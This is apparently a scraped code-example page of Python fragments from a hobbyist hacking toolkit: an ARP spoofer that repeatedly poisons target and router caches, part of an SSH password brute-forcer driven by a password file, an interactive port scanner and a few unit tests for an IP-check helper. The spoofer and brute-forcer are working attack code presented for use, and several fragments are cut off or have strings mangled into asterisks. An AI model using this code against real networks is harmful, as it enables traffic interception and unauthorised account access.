Esempio n. 1
0
    packet1 = ARP(op=2, hwdst=routerMAC, pdst=routerIP, psrc=targetIP)
    packet2 = ARP(op=2, hwdst=targetMac, pdst=target_ip, psrc=router_ip)
    send(packet1)
    send(packet2)


if __name__ == '__main__':
    try:
        tip, rip = False, False
        target_ip, router_ip = str(), str()
        list_of_target_ips = list()
        while not tip:  # if theres a error in the target ip
            target_ip = input('[+] Enter Target ip): ').strip(' ')
            if ',' in target_ip:
                for ip_add in target_ip.split(','):
                    if check_ip(ip_add) == ip_add:  # check if its a valid ip
                        tip = True
                    else:  # if not print ask the question again, by breaking the loop
                        print(ip_add + 'not an ip address')
                        tip = False
                        break
            if ',' not in target_ip:
                if check_ip(target_ip) == target_ip:  # check if its a valid ip
                    tip = True
                else:  # if not print the error and ask the question again, by breaking the loop
                    print(target_ip + 'not an ip address')
                    tip = False

        for ips in target_ip.split(','):  # places targets in this array
            list_of_target_ips.append(ips)
        print(list_of_target_ips)
Esempio n. 2
0
            termcolor.colored((', For Account: ' + username), 'yellow'))
    except:
        termcolor.cprint(
            termcolor.colored(('[-] Incorrect Login: '******'red'))
    finally:
        ssh.close()


if __name__ == '__main__':
    try:
        the_right_input = False, False, False
        while not the_right_input[
                0]:  # Keep repeating the question until user inputs are valid
            host = input('[+] Target Address: ').strip(' ')
            # for every ip address in the inputted targets target
            if check_ip(host)[1]:  # check if its a valid ip
                the_right_input[0] = True
            else:  # if not print the error and ask the question again
                print(host + ' not an ip address')

        while not the_right_input[1]:
            username = input('[+] Enter SSH Username: '******'y' in ans:
                the_right_input[1] = True
            else:
                pass

        while not the_right_input[2]:
            input_file = str(input('[+] Password File: '))
            if not sys.path.isfile(input_file):
Esempio n. 3
0
def arpSpoofer():
    try:
        tip, rip = False, False
        target_ip, router_ip = str(), str()
        list_of_target_ips = list()
        while not tip:  # if theres a error in the target ip
            target_ip = input('[+] Enter Target ip): ').strip(' ')
            if ',' in target_ip:
                for ip_add in target_ip.split(','):
                    if portScanner.check_ip(ip_add) == ip_add:  # check if its a valid ip
                        tip = True
                    else:  # if not print ask the question again, by breaking the loop
                        print(ip_add + 'not an ip address')
                        tip = False
                        break
            if ',' not in target_ip:
                if portScanner.check_ip(target_ip) == target_ip:  # check if its a valid ip
                    tip = True
                else:  # if not print the error and ask the question again, by breaking the loop
                    print(target_ip + 'not an ip address')
                    tip = False

        for ips in target_ip.split(','):  # places targets in this array
            list_of_target_ips.append(ips)
        print(list_of_target_ips)
        while not rip:  # if theres a error in the target ip
            router_ip = input('[+] Enter Router ip): ').strip(' ')
            if portScanner.check_ip(router_ip) == router_ip:  # check if its a valid ip
                rip = True
            else:  # if not print the error and ask the question again, by breaking the loop
                print(router_ip + 'not an ip address')
                print('try again\n')
                rip = False
    except KeyboardInterrupt:
        print('\nClosing ARP Spoofer.')
        exit(0)
    else:
        try:
            list_of_target_macs = list()
            for ip in list_of_target_ips:
                list_of_target_macs.append(str(get_mac_address(ip)))

            router_mac = str(get_mac_address(router_ip))
            print(router_mac)
            print(list_of_target_macs)
        except IndexError:
            print("Mac Address of " + ip + " not found")
        except KeyboardInterrupt:
            print('bye')
        except:
            print('error connecting')
        else:
            try:
                while True:
                    for x in range(len(list_of_target_macs)):
                        print(x)
                        spoof(router_ip, list_of_target_ips[x], router_mac, list_of_target_macs[x])
                        time.sleep(
                            round(2 / len(list_of_target_macs), 2))  # ensures each ip is spoofed every to seconds

            except KeyboardInterrupt:
                print('Closing ARP Spoofer.')
                exit(0)
Esempio n. 4
0
def portScannerf():
    print('_____PORTSCANNER____')
    try:
        pr, tr, tmr = False, False, False
        time, ports, targets = str(), str(), str()
        while not tr:  # Keep repeating the question until user inputs are valid
            targets = input('[+] Enter Target/s To Scan(split multiple targets with): ').strip(' ')

            for ip_add in targets.split(','):  # for every ip address in the inputted targets target
                if portScanner.check_ip(ip_add.strip(' '))[1]:  # check if its a valid ip
                    tr = True
                else:  # if not print the error and ask the question again, by breaking the loop
                    print(ip_add + ' not an ip address')
                    tr = False
                    break

        while not pr:  # port is not right i.e pr
            ports = input('[+] Enter Port/s To Scan(multiple ports with - for range or , for specific ports): ').strip(
                ' ')
            if ',' in ports:
                for port in ports.split(','):
                    if port.isdigit():
                        pr = True
                    else:
                        pr = False
                        print('invalid port number\nTry Again')
                        break  # ends the iteration once an error is found
            elif '-' in ports:
                for port in ports.split('-'):
                    if port.isdigit():
                        pr = True
                    else:
                        pr = False
                        print('invalid port number specified\nTry Again')
                        break  # break from teh for loop
            else:
                if ports.isdigit():
                    pr = True
                else:
                    pr = False
                    print('invalid port number\n\nTry Again')

        while not tmr:
            time = input('[+] Enter timeout time in seconds i.e 5 = fives seconds ').strip(' ')
            if time.isdigit():
                tmr = True
            else:
                print('invalid time \nTry Again')
                tmr = False

        value = 0
        portsArray = list()
        # if a range
        if '-' in ports:
            for port in ports.split('-'):
                portsArray.append(int(port))
                # makes sure the range is in order
                portsArray.sort()
        else:
            for port in ports.split(','):
                print(port)
                portsArray.append(int(port.strip(' ')))
            value = 1

        print("The value is: " + str(value))

        if ',' in targets:
            print('There are multiple targets: "," detected')
            for ip_add in targets.split(','):
                if value != 1:
                    portScanner.scanRange(ip_add, portsArray[0], portsArray[1], time)
                else:
                    portScanner.scan1(ip_add, portsArray, time)

        else:
            print('There is a single target: no "," detected')
            if value != 1:
                print('Range')
                portScanner.scanRange(targets.strip(' '), portsArray[0], portsArray[1], time)
            else:
                print('Single')
                print(targets, portsArray, time)
                portScanner.scan1(targets, portsArray, time)
    except KeyboardInterrupt:
        print('\n\nbye.')
        exit(0)
Esempio n. 5
0
 def test_checkIpConversionError(self):
     ipaddress = 'not a a domain '  # youtube.com ipaddress
     result = portScanner.check_ip(ipaddress)
     self.assertEqual(result[1], False)
Esempio n. 6
0
 def test_checkIpConversion(self):
     ipaddress = 'youtube.com'  # youtube.com ipaddress
     result = portScanner.check_ip(ipaddress)
     self.assertEqual(result[1], True)
     print("Converted IP:" + str(result))
Esempio n. 7
0
 def test_checkIP(self):
     # if its an ip address it returns the ipaddress
     ipaddress = '74.125.193.136'
     result = portScanner.check_ip(ipaddress)
     self.assertEqual(result[0], '74.125.193.136')